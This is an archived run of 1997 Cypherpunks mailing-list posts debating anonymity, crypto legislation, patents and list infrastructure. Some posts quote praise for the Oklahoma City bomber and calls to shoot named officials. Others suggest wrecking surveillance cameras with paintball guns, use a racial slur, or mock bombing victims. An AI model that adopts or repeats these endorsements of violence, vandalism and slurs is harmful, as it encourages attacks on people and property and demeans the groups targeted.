whether a murder is a personal action or a government action is
impossible. 


Fourth, it's fashionable in these circles to paint all governments
with the same brush, but in fact, some are much better than others.  
But it only takes one bad one to start a war.  Furthermore, human 
motivations are complex and irrational, so wars are started for 
essentially insane reasons.  This is a human problem, not a problem 
of government.

>The U.S. government and its subsidiaries (for example) annually kill hundreds
>of people in carrying out the "war" on the unlicensed retailing of
>pharmaceuticals.  The U.S. was convicted of war crimes in the International
>Court of Justice in the Hague in the late 80's for dropping air-sown mines in
>one of Nicaragua's harbors.  The U.S. practices the mass bombing of civilian
>populations in wartime which causes a very great loss of innocent life.  Many
>of the other governments of the world are worse.
>
>The principle of estoppel would seem to logically preclude the world's
>governments from arguing that their mass murders are OK but those committed
>by amateurs (which kill many fewer people) aren't.

That inconsistency doesn't bother Tim.  To quote him:

"Some innocents died, but, hey, war is hell. Broken eggs and all that."

>Again, and in general, some of the readers of this and other recent threads
>on cypherpunks need some reading lessons (present company excepted).  Tim May
>has not advocated blowing things up (though such advocacy remains legal).  He
>has not advocated that cypherpunks blow things up.  He has not advocated that
>Timothy McVeigh blow things up.  He has not even said that blowing things up
>is a hip and happening way to raise the average IQ and moral level of the
>surviving population.
>
>He has merely said that if OTHER PEOPLE blow certain things up he understands
>their actions and that in the case of certain targets he would not shed a
>tear.  He also predicted that people will be blowing things up in the future
>(with which prediction, even the U.S. government agrees).

He said:

"Every day that passes, I'm more convinced that McVeigh did the right 
thing." 

This is a lot stronger than saying that he "understands" McVeigh.

[Parenthetically, it is absolutely amazing to me that he and
practically everyone on this list just seems to assume McVeigh is
guilty...do they know something I don't?]

And Tim did *explictly advocate* the assasination of government
officials:

"Chiles and his co-conspirators should be shot for high crimes against
the Constitution.  After Clinton, Freeh, Kerrey, and the other
traitors."

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 14 May 1997 09:50:20 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
Message-ID: <199705140034.TAA23384@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

> > * Is it possible for the interlinked lists to send out announcements of
> > list problems to subscriber of all such lists? (Each list owner could do a
> > periodic "who cypherpunks" of the other lists, then use this list to send a
> > message if a problem comes up. More sophisticated cross-processing could
> > eliminate duplicates, etc.)

Sounds like time to start another list subscribed to the existing nodes
and offer such services to the subscribers at the operators whim.

I oppose any action which would force the list to become more 'cooperative'
in the sense that each node operator would be forced (sorta anti-cpunks I
believe) to comply with some set of scripts and such they didn't develop in
the first place. It would be just another means to limit the ability of
people in general, and the cpunks in particular, to communicate with as
little structure and 'authority' as possible. Unless I am seriously
mistaken on this, the point was to make the list more robust and less
centralized. Pretty soon we'll have to join some damn union or something.

Now some of you are going to say that this is taking it to extremes. That
what is being proposed is a good thing and not something that could be used
to 'manipulate' the lists. The road to hell is paved with good intentions,
and the guy driving the paving truck only wants to help you (as he paves
your petunia's).

> > * Alternatively, if one of the sites goes down, such as
> > "cypherpunks@cyberpass.net" seems to have done, could the other sites
> > automagically pick up the task of distributing articles until the site
> > comes back up?

This again is anti-cpunks, it forces a level of cooperation and information
sharing that is in direct opposition to beliefs in anonymity and privacy.
I don't want it known who is subscribed to lists through SSZ, in short:
It isn't any of your damn business and quit asking.

Solution? Get a life or start an archive site.

> The only true reliability can be achieved by subscribing to two or more
> cypherpunks sites, and eliminating duplicates. Reliability has its costs.

As do freedom, privacy, anonymity, etc.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 14 May 1997 09:20:42 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Camera Hacking
In-Reply-To: <Pine.SUN.3.91.970513185533.5776Z-100000@beast.brainlink.com>
Message-ID: <199705140038.TAA10646@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.SUN.3.91.970513185533.5776Z-100000@beast.brainlink.com>, on
05/13/97 at 04:56 PM,
   Ray Arachelian <sunder@brainlink.com> said:


>On Fri, 9 May 1997, Brian C. Lane wrote:

>> On Thu, 1 May 1997, geeman wrote:
>> 
>> > have an effect on people's behavior with respect to what they say, whom
>> > they associate with, 
>> > the clothes they wear, the thoughts they think...
>> > 
>> > How do you hack a camera?
>> 
>>   Splatball (paintball) gun should do the trick.

>I suppose if you make it expensive enough by damaging enough cameras,  and
>any replacements, they will go away (or be better hidden).  The trick  is
>to do this without being caught. :)

I think if enough got damaged they would just replace them with cheap dummy
cameras and hide the real ones. 

Orwell like most great thinkers was just ahead of his time.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows?  WINDOWS?!?  Hahahahahehehehehohohoho...

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 14 May 1997 11:00:23 +0800
To: 3umoelle@informatik.uni-hamburg.de (Ulf Möller)
Subject: Re: Crypto AG web site
In-Reply-To: <199705131551.RAA20430@rzdspc5.informatik.uni-hamburg.de>
Message-ID: <3.0.1.32.19970513194225.02be0700@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:51 PM 5/13/97 +0200, Ulf Möller wrote:
>"Thanks to comprehensive ciphering expertise and 45 years of experience,
>the Zug/Switzerland based company enjoys an excellent reputation all
>around the world and is trusted by customers in over 130 countries in
>all continents."
>
>http://www.crypto.ch

Wasn't this the company that the NSA tricked/bribed/rubberhosed into
selling compromised crypto a few years back?

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: whgiii@NO.amaranth.com.SPAM
Date: Wed, 14 May 1997 09:12:09 +0800
To: cypherpunks@toad.com
Subject: Cypherpunks meeting in SE
Message-ID: <199705140048.TAA10792@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Hi,

I am intrested in setting up a cypherpunks meeting in the South East USA. I
think that Atlanta would be a good place for this but I am open to other
locations. I am located in FL so I would like to keep it within a days
drive (Atlanta is 4-5 hrs from me). 

If you would be intrested in such a meeting please e-mail me and let me
know when you would be able to attend and where you are located.

If I can get enough people intrested I would like this to be a monthly
thing simmilar to the meetings on the West Coast.

Thanks,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows NT: From the makers of Windows 3.1!

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voyNIKPZ2ko=
=mWRj
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 14 May 1997 11:10:53 +0800
To: "cypherpunks@toad.com>
Subject: Re: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
In-Reply-To: <199705140215.TAA11471@mail.pacifier.com>
Message-ID: <19970513194747.04236@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, May 13, 1997 at 07:11:48PM -0800, Jim Bell wrote:
> At 12:45 5/12/97 -0700, Chris DiBona wrote:
> 
> >And keep in mind , I don't begrudge RSA thier right to make money off thier
> intellectual property,
> 
> However, I've been waiting many years for some patent-law-knowledgeable
> person to explain why mathematics, which was widely seen as being absolutely
> unpatentable prior to the invention of public-key cryptography, suddenly
> became patentable just in time for RSA, etc.  
> 
> Until I hear such an explanation, I _DO_ begrudge RSA and others that "right."

Wow!  I agree with you!

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 14 May 1997 11:06:40 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <199705140116.UAA23579@einstein.ssz.com>
Message-ID: <Pine.3.89.9705131901.A961-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, Jim Choate wrote:
> And for those who are white with real cajones, walk into a black bar around
> 1AM on a Sunday.

I walked _through_ the housing projects in San Francisco at ~3:30 am on a
Sunday morning. Not only did I make it out alive, I made it out with a
couple of ice cold beers the enterprising homeboys hanging out at the
other side felt compelled to give me, since I turned down what they
originally offered me as a token of their friendship. 

[Professional socializer. Don't try this at home. Or if you do, don't blame 
me if you get hurt or killed.]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 14 May 1997 09:12:11 +0800
To: spectre@nac.net>
Subject: Anonymity and cowardice
In-Reply-To: <19571593902558@nac.net>
Message-ID: <Pine.LNX.3.95.970513195831.2199A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 13 May 1997, The Spectre wrote:

> hmmmm.. Go figure out how many years of your life you'll waste doing that
> once you calculate how many of these messages arrive each hour, let alone
> each day.

The time per year it takes for me to delete all these messages is about the
same as the amount of time it took me to reply to your previous message
plus the amount of time it will now take me to compose this reply.  All
back of the envelope, of course.

> I, personally, have been on this mailing list for a while now,
> and have never seen *any* worthwhile posts from either of those remailers,
> or any other for that matter.

I've been on this list for 18 months and have seen plenty of worthwhile
posts from remailers.  You're entitled to your opinion, but I strongly
disagree.

> If you've got something to say, say it.
> Anything less is cowardice, in one form or another.

So you're calling John Jay, James Madison, and Alexander Hamilton cowards
(anonymous authors of the Federalist Papers)?  Many others have also used
anonymity to further the cause of liberty.  I doubt your real name is
"The Spectre" yet that is the name under which you are posting.  Are you
calling yourself a coward?



Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 14 May 1997 08:30:04 +0800
To: cypherpunks@toad.com
Subject: Canada bans anonymous political speech, from The Netly News
Message-ID: <v03007800af9eb34ab583@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


*********

http://pathfinder.com/netly/editorial/0,1012,940,00.html

The Netly News Network
May 13, 1997

No, Canada
by Declan McCullagh (declan@well.com)

     Krishna Bera wasn't surprised when the order from
the Canadian government arrived last Friday. It was
couched in the stilted language of universal
bureaucratese, but its message was cold and clear:
Purge a political endorsement from your web site or go
to jail.

     Bera's offending web page had said simply, "Vote
Green." It didn't exhort its readers to commit a
crime. It wasn't libelous or defamatory. It didn't
even feature any porn. Yet the pro-Green Party
statement was enough to draw the ire of the
commissioner of elections, for Canada has a rule,
buried in the 187-page Elections Act, that prohibits
anonymous political recommendations. And Bera's web
page was unsigned.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 14 May 1997 10:10:52 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
Message-ID: <199705140116.UAA23579@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Tue, 13 May 97 20:33:41 -0500
> Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)

> >> Every bill that *is not* passed by congress is just that much more freedom
> >> that is saved. If all the bills passed by congress over the past 100yrs.
> >> could all be repealed no one would miss them in the least (well no one
> >> except the STATEST). 
> 
> >Yeah,
> 
> >Blacks could go back to being niggers.
> >Women could go back to being barefoot and pregnant
> >etc...
> 
> >Talk about statest.
> 
> I don't know where you get the above from?

Constitutional Amendments are general passed by Congress. Hence, your
statement taken literaly is advocating a great deal of good that has come
from such actions.

> I supose that your statest brainwashing has convinced you that such social
> issues could have only been resolved by Federal intervention. Quite the
> contrary is true. Any laws passed by congress in these areas were brought
> about *because* society was already moving in those directions not the
> other way around.

I was a small boy in the 60's in and around Houston. I remember what
it was like before and after the desegregation that took place in the
mid-60's when I started elementary. I can promise you from personal
experience there were still seperate washrooms and fountains. Sweeney, Tx.
still had a sign on Interstate 90 that said (and I quote) "If you are black
don't let the sun set on you in Sweeney." (the sign was on private property
adjacent to the interstate I found out years later)

As to a little modern social commentary. Ride the city bus in your town for
1 month each day. During that time keep track of where people sit. Would you
like to explain why the majority of blacks still sit in the back of the bus?

And for those who are white with real cajones, walk into a black bar around
1AM on a Sunday.

> If someone is going to descriminate on the basis of race or sex or any
> other criteria they are going to do so reguardless of what laws are passed
> in DC.

Absolutely, as is their Constitutionaly protected right. THE FEDERAL
GOVERNMENT AND EVERY OTHER FORM OF SOCIAL AND LEGAL INSTITUTION SHOULD NOT
EVER, PERIOD. Private individuals and companies should, and can,
discriminate to their hearts content. I personaly wouldn't deal with a
business that I knew a priori discriminated against employees or customers
based on sex, religion, etc. as a matter of standard policy. I suspect that
most others with 2 halves of a clue to rub together would refuse as well.


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 14 May 1997 10:11:04 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd) (correction)
Message-ID: <199705140119.UAA23637@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: Jim Choate <ravage@einstein.ssz.com>
> Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
> Date: Tue, 13 May 1997 20:16:21 -0500 (CDT)

> Constitutional Amendments are general passed by Congress. Hence, your
> statement taken literaly is advocating a great deal of good that has come
> from such actions.

Insert 'eliminating' between 'advocating' and 'a great' on the second line.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 11:36:24 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <3.0.1.32.19970512171524.028df2c8@panix.com>
Message-ID: <v03007806af9eed1804f5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:34 PM -0800 5/13/97, Kent Crispin wrote:

>First of all, it neglects to consider that governments may have
>prevented more murders than they caused.  This is unknowable, since
>we don't have any worthwhile control cases.  (I suppose we
>might examine a state of anarchic chaos (eg Rawanda) and compare the
>percentage of murders...but such cases are symptoms of other human
>ills, and cannot be used as a meaningful comparison, I believe.)

Rwanda (or Ruwanda, or...) is a _very_ poor example to pick, as this was
not any kind of anarchy such as any of us have ever advocated. Rather,
Rwanda was a near-textbook example of one tribal faction (Hutus or Tutsis)
coming to power and inititiating a pogrom against the rival faction (Tutsis
or Hutus).

Calling this an "anarchy" is comparable to calling the pogrom by the Third
Reich against Jews, gypsies, cripples, and others an example of anarchy.

The rest of Kent's analysis is not worth my time to read and comment upon.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 11:41:40 +0800
To: Rick Osborne <cypherpunks@algebra.com>
Subject: Sabotaging Grumman's Computers
In-Reply-To: <3.0.1.32.19970513221218.00a5bcf0@gateway.grumman.com>
Message-ID: <v03007807af9eeee07035@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:12 PM -0800 5/13/97, Rick Osborne wrote:

>the applications I develop.  The constant barrage of "why did you visit
>this page?", or "what does this application you downloaded do?" is not only
>irritating but counter-productive.  This got me thinking: disregarding
>outside proxy schemes (such as Anonymizer), we can't really keep the proxy
>server from knowing the site we are connecting to.  We can, however, hide
>the page we are retrieving.

And what do they think of you reading messages entitled "Sabotaging
Grumman's Computers"?

(As to any Grumman censors reading this and reaching for their cellphones
to call Security, fuck 'em if they can't take a joke.)

--The Grummanbomber

(The serious point being that mere membership in a list like Cypherpunks is
fraught with more dangers, to a company like Grumman, than nearly any Web
pages I can imagine.)


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 14 May 1997 10:21:37 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
Message-ID: <199705140129.UAA23683@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: Tim May <tcmay@got.net>
> Subject: Re: The Interlinked Cypherpunks Lists? (fwd)

> I wasn't advocating either:
> 
> a) any "forcing" of anything
> 
> b) any compliance with scripts, cooperation, etc.
> 
> Instead, imagine this "service":
> 
> - a distribution point (= list) which subscribes to all of the various
> lists (cyberpass, algebra, ssz, etc.)
> 
> - it sends out to subscribers the first instance of any message it receives
> 
> - duplicates (see discussion below) would not be sent
> 
> - it would, ideally, be on a robust machine
> 

Exactly, pity that isn't what you stated in the first place.

> >This again is anti-cpunks, it forces a level of cooperation and information
> >sharing that is in direct opposition to beliefs in anonymity and privacy.
> >I don't want it known who is subscribed to lists through SSZ, in short:
> >It isn't any of your damn business and quit asking.
> 
> No one has ever said you, or SSZ, or anyone, has to participate.

Sorta defeats the whole concept of 'inter-linked lists' doesn't it? The
point was to make it easy for ANYONE who wanted to participate. If you
exclude parties because they won't do it 'your' way what is the difference?
Nada, null, nill, zero, nothing.

I can see it now; "oh, if you want to be a member you have to run this
set of scripts that automaticaly subscribes you to the other lists and you
can expect repeated querries of your subscription database. Oh, by the way
you are also agreeing to have other lists subscribe and unsubscribe their
user lists to your site at their operators whim. Oh yeah, and if they get
really clever they can have you shipping subscription lists of your
membership all over the place as well."

Sounds so much like the FBI going to the library for loan records and
denial of service attack it isn't even funny.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 14 May 1997 10:10:40 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <199705140015.TAA23269@einstein.ssz.com>
Message-ID: <199705140138.UAA11417@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705140015.TAA23269@einstein.ssz.com>, on 05/13/97 at 06:15 PM,
   Jim Choate <ravage@EINSTEIN.ssz.com> said:


>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Tue, 13 May 97 19:23:46 -0500
>> Subject: Re: KKK derails crypto bill, report from House Judiciary...

>> I personaly think that this is a good thing. :)))
>> 
>> Every bill that *is not* passed by congress is just that much more freedom
>> that is saved. If all the bills passed by congress over the past 100yrs.
>> could all be repealed no one would miss them in the least (well no one
>> except the STATEST). 

>Yeah,

>Blacks could go back to being niggers.
>Women could go back to being barefoot and pregnant
>etc...

>Talk about statest.

I don't know where you get the above from?

I supose that your statest brainwashing has convinced you that such social
issues could have only been resolved by Federal intervention. Quite the
contrary is true. Any laws passed by congress in these areas were brought
about *because* society was already moving in those directions not the
other way around.

If someone is going to descriminate on the basis of race or sex or any
other criteria they are going to do so reguardless of what laws are passed
in DC.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If you want it done right, forget Microsoft.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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Za965UQBPET+wvbqgbk7XvCRXe/XOSMIEZmIF5Q8p2dREPulaVWMPF1YYgvtMu6k
taaLbqHQsxjiQj7uzlJ6N5VgPNxZFqjRV60O/P+UAURrjM4gMwDZFCAl97lQc0s1
msr5G15PmLM=
=pEmA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Wed, 14 May 1997 12:19:34 +0800
To: Kent Crispin <cypherpunks@toad.com>
Subject: Re: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
Message-ID: <199705140347.UAA24759@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 19:47 5/13/97 -0700, Kent Crispin wrote:
>On Tue, May 13, 1997 at 07:11:48PM -0800, Jim Bell wrote:
>> However, I've been waiting many years for some patent-law-knowledgeable
>> person to explain why mathematics, which was widely seen as being absolutely
>> unpatentable prior to the invention of public-key cryptography, suddenly
>> became patentable just in time for RSA, etc.  
>> 
>> Until I hear such an explanation, I _DO_ begrudge RSA and others that
"right."
>
>Wow!  I agree with you!

Sit down until the feeling goes away.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 12:11:07 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: <v03007804af9ea94e831c@[168.161.105.191]>
Message-ID: <v03007808af9ef441b39e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:32 PM -0800 5/13/97, Declan McCullagh wrote:

>A two-hour debate over whether KKK volunteers could be sued for
>spilling coffee on an 8-year old at a bake sale blew through
>millions of dollars in billable lobbyist-hours and prevented the
>House Judiciary Committee from voting on Rep. Bob Goodlatte's
>(R-VA) SAFE crypto bill today.
>
>Somnolent yet somehow alert, Rep. John Conyers (D-Mich) wasted an
>hour sparring with the avuncular Rep. Henry Hyde (R-Illinois) over
>the "Volunteer Protection Act," which insulates people volunteering
>for nonprofit organizations from civil liability.
>
>But would that apply to the KKK, wondered Conyers? Is the KKK a
>registered 501(c)(3) organization under the IRS code? What about
>501(c)(4) organizations? What if a KKK member decided to build houses
>for Habitat for Humanity?

Though this was presumably not the thrust of Declan's article, the notion
that "some organizations are more insulated than others" (to paraphrase
George Orwell) is itself pernicious and revealing about the nature of
Washington.

If indeed the KKK, or the Knights of Aryanism, or the Panthers of Color are
501(c) entities, which is quite possible, then *if course* they should get
whatever status other 501(c) entities get!

(The issue of state vs. Federal jurisdiction, and the "Lopez" case, is not
what's at stake here.)

When either the Federal or state government can use policy to reward
certain types of organizations, e.g., the National Organization for Women,
but punish other types of organizations, e.g., the Aryan White Peoples
Organization, then all is lost.

(But all was lost a long time ago.)

This is actually just as important a story as whether Netscape and
Microsoft will get their special export provisions while Americans face
criminal penalties for exercise of basic Constitutional rights.


Back to SAFE, though. Does this mean the bill is dead? Can we all breathe a
sigh of relief for at least a few more months?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 14 May 1997 10:20:57 +0800
To: John Young <jya@pipeline.com>
Subject: Re: 96 Wiretap Report
In-Reply-To: <1.5.4.32.19970514012608.008ff084@pop.pipeline.com>
Message-ID: <199705140202.VAA11766@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <1.5.4.32.19970514012608.008ff084@pop.pipeline.com>, on 05/13/97 at
07:26 PM,
   John Young <jya@pipeline.com> said:


>We offer the text and three summary tables of the
>U.S. Courts "1996 Wiretap Report" at:

>   http://jya.com/96wiretap.htm  (36K)


I noticed in the summary report that e-mail interceps were used. Is their
more detailed information on this? I would be intrested to know how
involved the govenment is becoming involved in this area. Of great intrest
would be the location and means used to do such taps.

Thanks again for providing a wealth of information,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: From the people who brought you EDLIN!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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2scmwLwpsxv1P5VIaWiOiGLtYp+7CcPzd/lHEgPeyA+81VBkcBsdH41P4tywEH7Z
dCKTFNi9dh0=
=OBuw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 12:21:07 +0800
To: cypherpunks@toad.com
Subject: Re: whine politics again
Message-ID: <199705140406.VAA01440@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer Anonymous Remailer wrote:

> What the ultimate result here should be we all demand our legislators pass
> a law prohibiting the establishment of daycare centers, schools, hospitals
> or nursing homes within 1000 ft of government centers, army bases, or any
> federal offices.
> 
> They could call it the "No Human Shielding law."
> 
> What legislator would dare complain that the federal government not use
> his or her constituents children to shield ATF, FBI or other TLA agents?

  No BATF agents died in the Oklahoma City bombing. Seems they all had
the day off, so they didn't need shielding. (They didn't have the
decency
to suggest that the daycare take the day off, as well.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 12:35:30 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] Secure envelopes
Message-ID: <199705140406.VAA01463@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone too gutless to use their real name and full address in 
their email, disguising themself as "The Spectre" wrote:

> I, personally, have been on this mailing list for a while now,
> and have never seen *any* worthwhile posts from either of those remailers,
> or any other for that matter.  If you've got something to say, say it.
> Anything less is cowardice, in one form or another.


  It seems that The Spectre finds much on this list to be worthless,
including the value of anonymity. (Except in his or her own case,
obviously.)
  All of The Spectre's comments seem to be reruns of old posts
which were followed by calls for list censorship. Personally, I
prefer the ASCII art.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 12:16:48 +0800
To: cypherpunks@toad.com
Subject: Re: Real Terrorism
Message-ID: <199705140406.VAA01539@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> At 01:14 PM 5/11/97 -0400, lucifer Anonymous Remailer wrote:
> > AMMONIUM TRIIODIDE CRYSTALS
> Sigh.  Terror isn't our business, and any handbook that
> can't tell ammonium tri-iodide from nitrogen tri-iodide
> is more dangerous to its readers than anyone else.
> 
> If you _really_ wanted to scare governments,
> you'd start publishing papers saying things like
> 
>         AMENDMENT 1 - Congress shall make no law ......

  But if we did that, then Congress would probably pass
a law for our protection...

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Wed, 14 May 1997 06:05:54 +0800
To: cypherpunks@toad.com
Subject: No Subject
